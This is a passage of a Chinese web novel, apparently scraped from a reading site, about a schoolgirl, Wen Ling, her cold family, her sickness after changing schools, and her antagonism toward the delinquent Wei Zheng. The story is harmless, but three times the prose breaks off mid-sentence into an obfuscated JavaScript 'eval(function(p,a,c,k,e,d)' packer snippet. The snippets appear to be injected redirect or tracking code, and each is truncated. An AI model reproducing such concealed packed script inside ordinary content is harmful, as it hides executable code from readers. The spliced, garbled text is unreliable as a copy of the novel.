“你放心,只要是有你在的地方,我永远不可能来第二次,因为我永远都不想再看到你!”她冲他大声怒吼,头也不回地转身离开。 * 闻清出国后,闻灵大病一场,情绪也跌至低谷。 一场高烧反反复复,持续了一个多月。整整一个月的时间里,她每天一下课就裹着帽子趴在桌上,不抬头也不说话,仿佛变成了教室里的另一个蔚铮。 她的桌箱里总是会莫名其妙地多出来几盒退烧药,她没问出来是谁送的,所以一直没有吃。 就像她每次出去上厕所之后回到座位上,都会发现自己保温杯里的热水被填满了,问了很多人,依旧没能问到是谁给她填的。 同桌女生说班里给她献殷勤的男生挺多的,内向腼腆的一般都不留名,让她不用有太重的心理负担。 她没办法心安理得地接受这些示好,所以每次上厕所的时候都会把杯子拿到开水间,自己填完水后再拿回来。 因为她的病一直不好,史伟又始终坐视不管,每当班主任不在教室的时候,后排的那群男生开始变得越发猖狂,把整间教室搞得乌烟瘴气,鸡飞狗跳。 她被吵得太阳穴跳着疼,正想起身去管,突然听到教室后排传来一声震耳的怒吼,比所有人喧哗吵闹的声音都要大。 是蔚铮的声音。 他只吼了两个字,闭嘴,教室里顿时鸦雀无声。 那群男生都怕他,也害怕他真的会因为谁吵到了他睡觉而动手打人。 闻灵缓缓转过头,发现他吼完之后再次戴上连衣帽趴回了桌上,不知道为什么,自从自己生病以来,他的脾气好像变得越来越暴躁了。 估计是因为这段时间他实在太缺觉了,所以忍受不了教室里这么吵。他每天从上学睡到放学,安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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伴随着蔚铮生硬而不耐烦的声音,她抬起头,看见他双手插兜,居高临下地站在她的课桌前俯视她。两个狗腿子的男生挤眉弄眼地站在他旁边看热闹,边吹口哨边起哄。 她知道他绝对不怀好意,更知道自己绝对不会上他的当,被他和他带过来的这两个人一起欺负捉弄。 她捡起他扔过来的同学录,学着他的动作,直接把它扔回他身上,然后头也不抬地继续给其他同学填写同学录。 她感觉到他生气了,因为她用余光注意到他的胸膛剧烈起伏,双拳也越握越紧,把薄薄的纸张揉成了纸团。站在他旁边的两个男生神色有些紧张,连忙拽住他的手臂说:“铮哥,别生气!她不给填就算了!本来咱也没多想要!” 或许是因为两人的劝说起了作用,他最后什么都没说,也什么都没做,沉着脸转身走向教室门口,把手里揉碎的纸团扔进了垃圾桶里。 * 蔚铮走后,同桌女生长舒了一口气,在她耳边小声说:“吓死我了!他刚刚那副表情,我以为他要打人!” “他不敢把我怎么样。”闻灵语气平静,笔下写字的动作停都没停,“而且就算他真动手了,我也不怕他。” 前桌男生听到她们的对话,突然转过头说:“不过女神,我觉得你还是要小心一点!” “蔚铮这小子蔫儿坏,而且报复心特别重!我听说如果谁惹了他,他肯定会想尽办法从这个人身上报复回来,不达目的绝不罢休!” “你和他之间结过的梁子,不算少了吧?”男生煞有介事地说,“他肯定全都记在心里呢!说不准在憋什么损招儿,计划着要怎么报复你!” 听到男生的话,闻灵笔尖一颤,不小心划破了纸张。她盯着笔下这道长长的口子,心里忽然抑制不住地气闷和烦躁。 她不明白自己为什么会和蔚铮这么讨厌的混混扯上关系。 她和他明明就不是一个世界的人。 他为什么还要来招惹她? 那时候的她,觉得蔚铮就像自己完美生活中的一个污点,一团缠绕在她身边像噩梦一样无论怎么驱赶都消散不掉的黑影。 那时候的她,心里只有一个愿望,如果可以的话,她再也不想看到蔚铮这个人了。 6. 白桃汽水 那天过后,她再也没有在学校旁边的小超市门口看到过蔚铮。 * 初中开学,闻灵被分到了离家很近的七中。得知蔚铮去了八中,她心里高兴得不得了,因为自己终于不用和他在同一个学校了,也终于不用再每天都看到他了。 她相信,脱离了蔚铮的存在,她的初中生活一定会变得开心和顺利很多。 然而直到班级选举班委那天,她才终于发现,原来即使她现在的生活已经远离了蔚铮,她的心里却依旧笼罩着那团叫做蔚铮的阴影。 她的小升初成绩位列全校第一,又曾经在小学期间当过班委,开学第一天,班主任便把她叫去办公室,询问她是否愿意担任班长的职务。 她拒绝了班主任。 班主任苦口婆心地对她进行劝说,她却执意推拒,最后班主任只好把班长的职务交给了班上另一位成绩优异并且有过班级管理经验的女生乔诗燕。 “你为什么不当班长啊?”乔诗燕问她。 “我不太适合。”她笑笑说。 “为什么啊?”乔诗燕困惑不解,“咱班还好吧,刺儿头不多,又没有隔壁学校蔚铮那号人,应该挺好管的。” “对了灵灵,你小学哪个班的?”提起蔚铮,乔诗燕突然想到什么,一脸好奇地问她。 “五班的。”她答。 “你居然和蔚铮一个班?”乔诗燕惊讶吼道,立刻露出恍悟的表情,意味深长地说,“那我明白了!” “碰上他那样的,确实没几个人消受得了,你留下个心理阴影什么的也很正常。” “他没少和你作对吧?”乔诗燕心疼地看着她问。 “何止啊。”没等闻灵回答,小学和她同班的前桌男生立刻转过身来,抢先一步接过了话茬,“以前在我们班,他俩简直就是水火不容,冤家路窄,结怨颇深!” “天呐。”乔诗燕听完止不住地叹气摇头,“你也太惨了,灵灵。” * 闻灵相信她和蔚铮之间的确冤家路窄,结怨颇深。 因为就在她庆幸自己终于不用再和他同校的时候,她突然发现七中和八中两所学校离得特别近,中间只隔了一条街。 每天傍晚放学的时候,她都能在学校门口看到蔚铮的身影。 他每天放学都不回家,总是蹲在她们学校旁边的小超市门口喝汽水,手上或脸上永远带着伤。 “我说怎么没看见他呢,知道我来了,跑这么快?” “让他小心点儿,别被我逮着。” “再让我在七中门口看见他一次,我绝对不会放过他。” 小超市门口的台阶上,蔚铮穿着那件熟悉的黑色卫衣,一边举着手机打电话,一边将喝完的塑料汽水瓶捏扁扔进垃圾桶里。 闻灵走出校门从他面前经过,下意识捏紧手里的书包带,装作根本不认识他的样子,目不斜视地加快了脚步。视线余光中,她察觉到他总是在盯着她看,经常会看得出神,却一次都没有喊住她或者上前拦住她,仿佛在故意耐心配合她的表演,自然而然地扮演着一个普普通通的街头混混,一个出现在她生命中的陌生人。 * “灵灵,你怎么每天放学都最后一个走啊?”某天傍晚,见她在放学铃响后依旧埋头做题,乔诗燕好奇问她。 “我只是不想再看到他了。”她停下笔尖,垂着头小声呢喃。 “他?蔚铮吗?”乔诗燕紧接着问。 她点点头,握着笔托腮发愁:“不过没什么用。不管我每天走得有多晚,都还是能在学校门口看到他。” “他为什么每天放学都来咱们学校门口啊?他到底想干什么?”乔诗燕不禁陷入困惑。 “可能在计划吧。”她说。 “计划?计划什么?” 计划要怎么报复我。 闻灵在心中叹息,害怕乔诗燕会担心自己,于是弯起唇角笑了笑说:“没什么,我乱说的。你快回家吧!明天见!” * 实话说,闻灵的确一直想不通,为什么蔚铮每天放学都会出现在七中的校门口。 难道真的只是为了蹲在旁边的小超市门口喝汽水吗? 到底是什么汽水这么好喝?能让他每天这么抱着喝都喝不腻? 这天,傍晚放学后,怀着强烈的好奇心,她第一次走进这家小超市,找出零钱递给老板娘说:“阿姨您好,我要一瓶白桃味汽水,谢谢。” “好嘞!”老板娘接过零钱,从身后的货架上拿出一瓶汽水递给她。 闻灵的视线跟随老板娘的动作看过去,注意到货架摆放汽水的位置下方贴着一张很显眼的便利贴,便利贴上用黑色马克笔写着“摇一摇,更好喝”。 她抱着汽水走出小超市,正准备拧开瓶盖,突然觉得自己还是应该听取老板娘的建议,先把汽水“摇一摇”比较好。 不过……汽水能摇吗?摇完再拧开瓶盖,不会被喷出来的白沫溅一脸吗? 可她还是好想尝尝这个汽水究竟能有多好喝。 她真的很好奇,到底多好喝的汽水能让他连着喝上一个学期? 她想着,抱住汽水瓶用力地上下摇晃起来,在拧开瓶盖的一瞬间,被飞溅出来的白沫猛地喷了一脸,睫毛被浸得湿透,眼睛也疼得几乎睁不开。 模糊不清的视线中,她注意到蹲在超市门口的蔚铮突然起身朝她走了过来,脸上难得有了笑意,把一包纸巾扔进她的怀里,然后什么都没说,回到小超市门口,继续蹲下来喝手里的汽水。 她握着他递来的纸巾,思索了片刻,没有打开用,而是用手背抹干脸上的泡沫,然后走到他面前,把纸巾还给了他。 她知道,如果她用了他递给她的纸巾,一定会和他牵扯不清。 她不想和他扯上任何关系,一点都不想。 她看到他怔了一下,接着扯起唇角笑了笑,笑容讽刺,带着自嘲的意味,把一整包全新的纸巾直接扔进了旁边的垃圾桶里。 他扔掉纸巾时的表情,和小学毕业那天他扔掉同学录时的表情一模一样。 * 第二天放学,她照常最后一个离开教室,正准备锁门的时候,发现林惊野突然出现在她的班级门口。 “放学一起走?”他挎着书包倚在墙上,抬抬下巴冲她说。 “你不骑车了?”她惊讶问他。 “不骑了。我大姨和我姥姥不放心,把我自行车锁仓库里了。” “谁让你非得骑那么快?”闻灵笑了,“不过现在学校错峰放学,我们年级放得晚,加上我得负责给教室锁门,每天都留到最后,你还是自己先走吧。” “没事,我等你。”林惊野说完直起身,边等她锁门边问她,“对了,我听说八中有几个混混要来学校门口堵你,应该是以窦鹏为首的那群人,你见过吗?” 混混吗? 她没见过以窦鹏为首的那群人,倒是见过另外一个。她心想。 不过这个混混并没有来学校门口堵她,而是每天蹲在超市门口喝汽水。 她摇头:“没见过。” * 自从她开始每天和林惊野一起放学回家,学校里忽然传起了他们二人之间的八卦。有人说林惊野在追她,有人说她和林惊野是青梅竹马,还有人说他俩其实早就偷偷在一起了,只是最近学校查得不严,所以连装都懒得装了。 谣言甚嚣尘上的时候,直接从七中传到八中,并且越传越离谱,达到了人尽皆知的程度,导致班主任把她叫到了办公室里约谈,严肃告诫她必须要收心,以学业为重。 周一下午全校大扫除,她心中烦闷,擦窗户时不小心走神,小臂被窗框上的钉子刮了一下,放学路上才发现伤口流了血。 “怎么弄的?”林惊野抓住她的手臂问。 “擦窗户的时候不小心刮到的。”她淡淡回答,无意中向旁边一瞥,看到了蹲在小超市门口的蔚铮。 他的视线落在林惊野握住她手臂的动作上,神色晦暗,目光沉沉,不知道在想些什么。 大概是在幸灾乐祸吧?她本能地想道。 毕竟她才刚把他递来的纸巾还回去,没过多久就受伤了,并且身上没有带纸巾。 不知道出于什么心理,她突然仰起头,故意当着他的面问林惊野:“你带纸巾了吗?借我用一下。” “带了。”林惊野说完,从校服口袋里找出一包纸巾递给她。 “谢谢。”她礼貌道谢,抽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她从小就对自己的未来有着非常清晰的规划,考上G大的海洋科学专业是她一直以来最大的梦想。在她的规划里,她会从本科一路读到博士,在热爱的领域内做到最顶尖,然后留校任教,把自己探索出的知识和经验传递给更多的人。 班里有很多同学为她觉得可惜,他们觉得私立学校只要花钱就能上,她以全市第一的名次考进去,白白浪费了这么高的中考分数。 也有人跑过来质问她,既然决定了去读私立高中,为什么还要把中考分数考得那么高?反正她家里那么有钱,把市实验的录取名额让出来给其他更需要它的人不行吗? 她不明白中考名次要怎么让,从小到大,她只想全力以赴做好自己该做的每一件事,面对人生中大大小小的任何一件事,她都不想让自己后悔。 身边的流言蜚语很多,但她一直都清楚地知道自己做出什么样的选择是对的,并不会因为别人的看法和言论而放弃做出正确的选择,更从来没有在意过别人会怎么看待和议论自己的选择。 “七中和八中考上市实验中学的多吗?” “还行,不太多。” 教室里,周围几个同学聊起了两所初中被市实验中学录取的情况,乔诗燕忽然想到什么,满脸激动地喊道:“对了,我跟你们说一个惊天大八卦!” “蔚铮被市实验录取了!这事儿你们知道吗?” “蔚铮?你在逗我吗?他参加中考了吗?”前桌男生诧异地问。 “参加了!”乔诗燕回答说,“当然,他参加了也考不上。” “不过我听说市实验的一个老师给他交了借读费,非要让他去市实验借读!洛彦你们听说过吗?高二(十六)的班主任,他老婆现在是蔚铮他们班的班主任!” “就是他们两口子给蔚铮交的借读费!” 前桌男生像是听到什么好笑的事情,冷笑着讥讽调侃:“他们俩这是善心大发,突然想拯救问题少年了?要我说,有这个闲钱还不如留着往自己身上花!” “说实话,我也觉得这俩人纯属异想天开,白费工夫!”乔诗燕耸耸肩,露出无奈的苦笑,“谁能救得了蔚铮啊?但凡和他扯上关系,绝对没有好下场!不被拖下水就不错了!” “还想救他?听说过‘农夫与蛇’吗?小心他恩将仇报!” 夜里,闻灵吃完晚饭独自坐在书桌前,盯着笔袋里的那枚创可贴发呆,不由自主地想起了他每每看向自己时轻蔑的眼神,对她说过的那些刺耳的话,还有打在她脸上的那只粉笔头,轻轻叹了口气,把创可贴取出来放回了医药箱里。 7. 转学 在梦里,她看清了巷子里那个带头打架的混混的脸。他好像蔚铮。 * 高一开学后,闻灵来到私立学校,发现这里和她想象中似乎不太一样。 学校进行统一的半军事化管理,留给学生的自主空间狭小,整体的学习氛围却并不浓厚,甚至称得上很糟糕。高一新生的中考成绩普遍偏低,大多数人都是被家长花钱送进来的,他们的心思根本不在学习上,导致校内物质攀比风气严重,拉帮结伙搞小团体的现象更是随处可见。 抛开这些弊端,学校的生活条件的确非常好,偏偏这种好于她而言无关紧要。 在学习方面,她很有自己的想法和主见,不愿意随波逐流,更不会让自己受到周围其他人的影响和干扰。 她追求学习效率,经常不服从老师们提出的某些形式主义上的硬性要求。 她不肯融入环境,屡屡被班上的许多同学私底下议论,甚至上升到公然排挤。 班主任和校领导轮番找她谈话,告诫她应该听从学校的安排,处理好同学关系,她却依旧在学校里我行我素,坦荡自如地做着所有人眼中的异类。 直到第一次月考的失利让她彻底下定决心转学,她拨通校内电话亭的电话,把自己的决定告诉了妈妈。 用妈妈的话来说,她这是自讨苦吃。 “当初非要来的是你,现在刚到一个月就要走的还是你,你当转学是随随便便闹着玩儿的是吗?” “中考完韩校长给我打电话,想邀请你去市实验的时候,我是怎么五次三番拒绝人家的?现在又舔着脸求人家要转过去,你让我这张脸往哪儿放?” “你能不能懂点事?!你能不能别总给别人添麻烦?!” “我就麻烦你这一次,求你了。”她握紧电话听筒微微仰起头,含着泪对妈妈说。 没有任何回应,她的耳畔响起了电话挂断的“嘟嘟”声,每一声“嘟”都像一根扎进她心里的刺。她握着冰凉的电话听筒,眼泪滑落在衣襟上,在一下又一下的刺痛中陷入绝望,最后只能寄希望于那个她亏欠了最多,却唯一能够帮助和拯救她的人。 她拨通了闻清的电话。 “不就是转个学吗?我去跟妈说,多大点事儿啊,这就哭了?”闻清笑着调侃她。 “没哭,嗓子哑是因为我感冒了。”她闷声辩解。 她没有撒谎,这两天她是真的感冒了,身上忽冷忽热,嗓子也又疼又痒,一直没来得及量体温。 “发烧了吗?”闻清的语气认真起来。 “应该没有。”她说。 “记得多穿点儿,按时吃药,照顾好自己,其他的事都交给我。” “好好吃饭,好好睡觉,别的什么都不用操心。有你亲哥在呢,知不知道?”电话挂断前,闻清严肃地嘱咐她。 她低低“嗯”了一声,唇角绽开笑容,眼泪又一次不受控制地滚落下来。 她忽然好想闻清。 其实在和他分开后的这几年里,她已经很少会出现这样的感觉了。仿佛从离开他的那一天起,她就无时无刻不在努力提醒着自己,对他的依赖和想念是一个她永远不可以去触碰的禁区。如果她克制不住对一个人的依赖和思念,那么这份依赖和思念将会让她痛不欲生。 闻清刚出国的那段时间,她每天都会给他打电话,询问他的近况,向他倾诉自己在学校里遇到的烦恼和难题。直到有一天,电话另一端突然响起了妈妈的声音。妈妈大发雷霆地告诉她,别动不动就打电话打扰和麻烦你哥,你不是一个三岁两岁的小孩子了,别人也没有义务每天二十四小时围着你转。 妈妈还说,一个学不会自立和独处的人注定会被这个社会淘汰,变成一个永远无法独立行走的巨婴。她不希望自己的女儿变成一个凡事都要依赖别人、没有任何生活自理能力的巨婴。 那天过后,她不再每天都主动给闻清打电话。闻清给她打来电话,问她要不要开视频一起写作业的时候,她会故意摆出一副嫌他烦的样子,让他不要影响和打扰自己专心学习。闻清听完笑了,好脾气地向她道歉,她迅速应了一声就马上把电话挂断,垂着头翻开作业本,眼泪却不知道是怎么回事,忽然啪嗒啪嗒地掉在了本子上。 奶奶心脏不好,每晚都睡得很早,阿姨每天做完晚饭就会马上回家照顾自己的小孩,每当夜幕降临时,上下三层的别墅里总是寂静得可怕。 小时候有闻清陪在她身边,她从未恐惧过黑夜的降临,可如今只剩她一个人,她开始强迫自己每天晚上都集中注意力学习,争取用最快的速度把所有作业写完,然后蒙上被子睡觉,通过和时间赛跑的方式抵抗从四面八方席卷而来的恐惧和孤单。 每当缩在被子里睡不着的时候,她都会摸摸自己腕上的手表,幻想着如果这个手表能陪她说一会儿话就好了。 可惜手表不会说话。 也没有人会像闻清一样,愿意随时随地陪着她。 耳边突然响起电话铃声,她匆忙回过神,抹干眼泪拿起了听筒。 她不知道闻清是如何做到的,妈妈最终选择了妥协,答应回国给她办理转学手续。 电话里,妈妈用冰冷又不耐烦的声音质问她:“对了,怎么连得个小感冒都要告诉你哥?多大的人了,连自己找药吃都不会吗?” “你什么时候能不总让别人替你操心?” “你哥他不欠你……” “会!”没等妈妈说完,闻灵立刻打断她,大声说,“我会自己找药吃!” 对面的人没再说话,冰冷的“嘟嘟”声又一次响起,切断了她和妈妈之间唯一的连线,也切断了她对这个世界萌生的最后一丝希冀与依恋。 四周漆黑一片,萧索无声,一阵寒风乍起,刺骨的寒意瞬间贯透了她的全身。 空荡寂静的校园里,她孤单得好像只剩下自己。 * 这几天气温骤降,天气很冷。月光被浓云遮蔽,低沉的夜幕下,狂风肆虐,吹得道路两旁光秃的枝丫歪歪斜斜。 闻灵想回寝室拿件外套穿,却发现忘了带寝室钥匙,只好把校服衣领立起来挡风,环抱着双臂快步走出了校门。 路过学校后门的时候,她无意中瞥见巷子尽头有一群男生正在打架。打架的几个人里有身穿市实验中学校服的学生,也有染发和纹身的街头混混。因为距离太远,闻灵看不清他们的脸,却能看得出情况十分凶险激烈。 她迅速从校服口袋里摸出手机,拨通派出所的电话报了警。 * 晚上回到家,闻灵身上越来越冷,额头也烫得吓人。担心会打扰到奶奶睡觉,她放轻脚步来到客厅,从电视柜抽屉的医药箱里找了片退烧药吃,吃完走进房间裹着被子睡了一觉。 昏昏沉沉中,她做了一个梦。 在梦里,她看清了巷子里那个带头打架的混混的脸。 他好像蔚铮。 梦里的蔚铮半蹲在地上,手上揪着一个被他撂倒的男人的衣领,突然转过头朝她看了过来。少年皮肤冷白,黑发浓密,额前的碎发遮挡住狭长的眼睫,眼神冷冽而锋利,像一把薄刃紧紧抵在了她的胸口。她呼吸倏地一滞,从睡梦中猛然惊醒,喉咙一阵干涩难忍,传来烈火灼烧一般的疼痛。 她慌忙按了几下墙壁上的电灯开关,下床去找水喝,站在落地窗前喝完了一整杯水,抱着空玻璃杯望向窗外漆黑浓稠的夜色,不禁恍惚出了神。 有时候她觉得Y市很大,有时候她又忍不住感慨Y市真的很小。阴差阳错,兜兜转转,她竟然又要和蔚铮重新相遇了。 * “蔚铮昨天晚上打架进局子了,他爸去捞人,回家就把他给打了!” “听说他爸抄家伙打的他,而且打得特别狠!他脖子下面受伤的那个地方都流血缝针了,估计会留疤!” “咋进的局子?” “听说有人报警!” “谁啊?” “一班那位刚转学过来的女神,闻灵!” “不是吧?这么刺激?” 第二天上午,闻灵转学来到实验中学,被校长安排在了高一(一)班。课间,她在开水间接水的时候,听到自己身后传来了两个陌生男生的说话声。 “而且今天蔚铮居然来学校了你知道吗?你算算他都多久没来过学校了?差不多有一个月了吧?”正在说话的男生突然压低声音,煞有介事地说,“我听说,他今天是专门来找闻女神报仇的!” “灵灵,你怎么了?怎么脸色这么差?”身后传来熟悉的声音,闻灵回头,看到了同样过来接水的乔诗燕。 乔诗燕也在高一(一)班,七中她们这届考来市实验的学生不多,一班只有两个她认识的初中同学,一个是名男生,名字叫易南,另一个就是乔诗燕。 闻灵回神,摇摇头说:“没事,感冒了。” “你有药吗?要不然我帮你在班里问问,看谁有感冒药?”乔诗燕见她脸色太差,有些不放心。 “没事。”她冲乔诗燕绽开笑容,晃晃手里的保温杯说,“我喝热水就行。” * 恰逢市教委的领导来学校检查跑操,学校规定今天所有学生必须穿校服。转学第一天,闻灵还没领到新校服,只好穿着自己的旧校服去参加跑操。旧校服的料子单薄透风,室外天寒地冻,逼人的寒意渗入骨髓,她一边跑着,一边感觉到自己的呼吸都快要凝结了,浑身上下止不住地瑟瑟发抖。 抬头看到前面高一(十六)班队伍的时候,她不自觉地想起了那两个男生说过的话,用视线去搜寻那个她记忆中的黑色身影。 昨晚她路过学校附近的小巷,看到有人打架就报警了,没看清打架的人是谁,更不知道其中有蔚铮。 昨天她半夜烧到三十九度多,今早虽然体温降了下来,现在却依旧很难受,心情也并不好,实在不想在转学第一天就和他扯上关系。 没有在跑操的队伍里看到他,她下意识松了口气。 她祈祷今天一整天都不要见到他,如果能让她永远都见不到他那就更好了。 跑完操回到教室,闻灵刚坐在座位上,就收到了同班女生陈寂给她送来的感冒药。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“咱们都一个寝室了,你还瞒着我们,是不是有点儿太见外了?”女生显然不相信她给出的答案,坏笑着继续问。 “没有,真的只是朋友。”她轻声解释。 “闲的没事儿瞎打听什么?”乔诗燕斜了她们一眼,声音跟着拔高了几度,“人家女神的事儿也是你们这群凡夫俗子能随便打听的吗?” 两个女生脸色一僵,立刻识趣地闭嘴,悄悄翻了个白眼,不再追着她问东问西。 她张张嘴巴想要解释,却实在没有力气,最终什么都没说。 * 回到寝室后,闻灵端起水盆和牙杯去水房洗漱,洗漱完回去的路上,突然听见走廊角落里传来了几个女生的窃窃私语声。 “她和林惊野到底谈没谈过?” “她说没有!”乔诗燕说,“真假我不知道啊,但她跟我说的是没有!” “你们说,她是不是特别享受别人给她献殷勤,但她又对人家爱答不理的那种感觉啊?”同寝的一个女生说。 “不然呢?”另一个女生道,“转学第一天就有校草给人家送药献殷勤,你享受过这种待遇吗?” “给人家校草甩脸子,把药原封不动地送回去,你做得到吗?” “做不到做不到!”同寝女生立刻把头摇成拨浪鼓,“说实话,感冒了还穿这么少,为了臭美都被冻得抖成筛子了,这我也做不到!” 女生话毕,四周迅速传来一阵哄笑声。 闻灵握紧水盆的边缘,指节泛白,双唇紧抿,胸口微微起伏。 她一向最不喜欢背地里议论他人是非,却改变不了有些人很喜欢这么做。 从小到大,她早就习惯了别人背地里对自己各种各样的议论和编排,然而真正让她觉得难过的是,乔诗燕竟然也是其中一员。 初中三年同班相处下来,她早就已经把乔诗燕当成了自己的朋友,却没有想到,原来对方并没有把她当朋友。 真正的朋友是不会和别人一起讨论对方的八卦的,更不会在讨论的过程中借着朋友的身份故意说出一些意味不明的、极具诱导性的话,把虚假的谣言坐实成真的。 乔诗燕带给她的对这所新学校唯一的一点亲近感也在此刻消失殆尽,她忽然觉得更累了。四肢一阵发软,她不小心晃了一下,手中的水盆险些掉落在地上。 “闻灵,你没事吧?”陈寂恰巧经过,伸手扶了她一把,将她手里的水盆接了过去,“我帮你拿吧。” “谢谢。”她嗓音沙哑,微笑着向陈寂道谢。 “林惊野在楼下等你,他说他找你有事。”陈寂对她说。 “好,我马上下去……”她说着,看到陈寂手里的水盆,连忙想接过来,“还是我自己拿吧!” “没事。”陈寂没给她,笑笑说,“我帮你拿回寝室,你直接下楼就行。” “好,谢谢。”闻灵在道谢后转身下楼,因为遇到了陈寂,冰冷了一天的内心终于生出了几分暖意。 8. 重逢 这是第一次,她看到了和记忆里那么不一样的蔚铮。 * 她和林惊野在宿舍楼下吵了一架。 林惊野过来找她,质问她为什么连一袋感冒药都不肯接,到底有没有把他当朋友。 她心情复杂,只能沉默以对,不想去解释原因。 她当然一直把他当朋友,但她不愿意去麻烦他,在她心里,这两者并不矛盾。 曾经她觉得,如果人的生命可以用一种颜色来形容,那么她的生命一定是白色的,完美无瑕,没有污点。 然而如果生命的表层颜色下还有一层底色,那么那层底色大抵是灰暗的,藏在如雪的白下面,只要不去刻意揭开,就永远不会被人发现。 随着自己逐渐长大,她才慢慢懂得,这层灰暗的底色叫做孤独。 她生命的底色是孤独的。 就像她在无意中得知自己的出生其实源于妈妈在第一次生产后的意外怀孕,爸妈都不准备再要一个孩子,可奶奶执意想要一个孙女,所以强迫妈妈生下了她。可就是因为被迫生下她,妈妈产后抑郁,临产前被忙于应酬的丈夫独自留在家里,难产大出血险些丧命,在产房里命悬一线之际也没能等来丈夫的身影,所以觉得这个女儿是自己的累赘,从此对这个女儿漠不关心。 就像她从很小的时候就渴望去看海,无数次央求爸妈带她去离家最近的L市看一次海,他们每次都说自己没时间,却瞒着她偷偷带哥哥去L市看了海。 她一直以为她和哥哥都没有看过海。 直到有一天,她从哥哥的书桌抽屉里发现了一张合照。 合照上,爸妈牵着哥哥的手站在海洋公园的大门前,对着相机镜头笑得那么开心,那么灿烂。 她的眼泪滴落在爸妈从未有过的幸福笑容上,颤着指尖将水渍一点点地抹干,然后把合照放回抽屉里复原,装作自己什么都没有看见。 因为害怕她会伤心难过,一向喜欢把和家人的合照摆满卧室的哥哥,却一次都没有把那张照片拿出来过。 她知道哥哥一直最疼她,总是想把自己从父母那里得到的偏爱分给她。 可她也清楚地知道,这些被哥哥刻意划分出来的爱,早就已经不是她想要的那份爱了。 就是这些看似隐蔽琐碎的小事,一桩桩一件件,无一不在纂改着她生命的底色,仿佛信手涂鸦的画笔,在她的生命画卷上写写画画,留下痕迹。她没有办法擦掉它们,只能拼命地去掩盖,让它们被掩藏在她精心勾勒出的纯白画卷之下,留给人们看到的,是一片高傲的、无暇的、完美到让人羡慕甚至心生嫉妒的白。 旁人眼中的闻灵,几乎什么都可以拥有。 她自己眼中的闻灵,好像什么都不曾拥有过。 * 林惊野离开后,闻灵察觉到身上越来越烫,担心半夜会烧得厉害,决定自己去医务室输液。她一个人走在漆黑寂静的校园里,雪地靴踩在铺满积雪的道路上,发出嘎吱嘎吱的声响。因为浑身都打着哆嗦,脑袋也晕乎乎的,她走得颤颤巍巍,格外艰难。 等她终于走到医务室门口时,发现医务室已经关门了。 早知道就不折腾了,她心想,无奈叹了口气,正准备回寝室,却“砰”地撞上了一个人的胸膛。她被撞得更晕了,捂住发疼的额头,本能地仰起头去看对方的脸。 少年皮肤白皙,眉骨硬朗,线条锋利的五官轮廓极具攻击性,让她觉得格外眼熟。她将视线缓缓下移,一路顺着他的下颌与脖颈,落在他锁骨处的皮肤上,看到了一道触目惊心的暗红色伤疤。 “听说他爸抄家伙打的他,而且打得特别狠。他脖子下面受伤的那个地方都流血缝针了,估计会留疤!” “我听说,他今天是专门来找闻女神报仇的!” “你要干什么?!”她心中警铃大作,立刻后退一步看向他,一开口,发现自己的嗓子哑得几乎发不出声。 她看到他眉头蹙起,偏头吐了口气,然后一把攥住她的手腕,一言不发地拽着她往校门口的方向走。四周寂寥无声,临近午夜时分,空荡荡的校园里看不见一个人影,只有附近的灌木草丛被阴冷的风吹得哗哗作响,在墙上投下一道道狰狞可怖的暗影。 “你要干什么!” “蔚铮!” “你松手!” “你再这样我喊保安了!” 她脱口而出他名字的时候,他脚步一顿,手上的力道也骤然松了一下。她趁机挣开他的手,转身就要走,却被他再次攥住手腕拦下。 他态度更加强硬地想要拽她走,手劲儿很大,她的手腕被他攥得生疼,疼得她连视线都开始模糊不清。 她被惹恼了,咬紧牙关,拼尽全力甩开他的手,扬起手狠狠地打了他一巴掌。 掌心传来火辣辣的疼痛,她全身的力气仿佛被都被这一掌彻底抽光了。 眼前止不住地发黑,她瑟瑟发抖,整个人摇摇欲坠,浑身上下没有一处地方不是痛的。她想不明白自己为什么能这么倒霉,会在来医务室的路上遇到蔚铮。 所有的委屈和难过都在这一刻轰然爆发,她冷冷地瞪着他,通红的眼眶里蓄满了眼泪,泪水滚烫,顺着她的脸颊不受控制地一滴滴滚落下来。 为什么他一定要在她最无力也最难受的时候出现呢? 为什么他就是不肯放过她呢? 明明今天她已经很不开心了。 她真的已经很不开心了。 蔚铮没有躲,结结实实地挨了这一掌,脸颊迅速肿起了触目的指印。他沉着脸朝她走过来,她下意识步步后退,被他逼到角落里,双手紧紧抠住身后的墙壁,心跳抑制不住地咚咚作响。 如果他再敢靠近一步。 她在心中暗暗告诉自己,如果他再敢靠近一步,她就马上拿出手机报警。 她下意识去摸手机,却发觉身上倏地一暖。眼前的少年依旧眸色黑沉,却突然脱下自己的校服外套裹在了她身上。 她手上的动作一僵,呆呆愣住了。 “医务室晚上不开门,学校对面有家诊所,我带你过去。”他冷声开口,又一次固执地要牵她的手。 如果现在出现在她面前的是别人,她或许会接受对方的好意。 可现在出现在她眼前的人偏偏是蔚铮。 那个她最不想见到也最想远离的蔚铮。 “谢谢,不用了。”她垂着头想要掰开他的手,却踉跄一步险些跌倒,被他及时抓住手臂扶住。她整个人就像陷入了云里,四肢和脚下全是软的,根本无法站立,他的双手竟然变成了她全身上下唯一的支撑点。 她闭了闭眼,没吭声,再次拼尽全力挣开他,后背重重地撞在身后的墙壁上,钻心的疼痛顺着背部迅速蔓延,疼得她脸色煞白,眉心紧皱,差点咬破了嘴唇。 “闻灵!你能不能别再折腾了?!” “我知道你不想看到我,我把你送到诊所就走,绝对不出现在你面前,这样行吗?”他说话的语气很急,望向她的眼神里竟然充满了恳求。 眼泪再一次簌簌落下来,她不知道自己为什么忽然这么想哭。 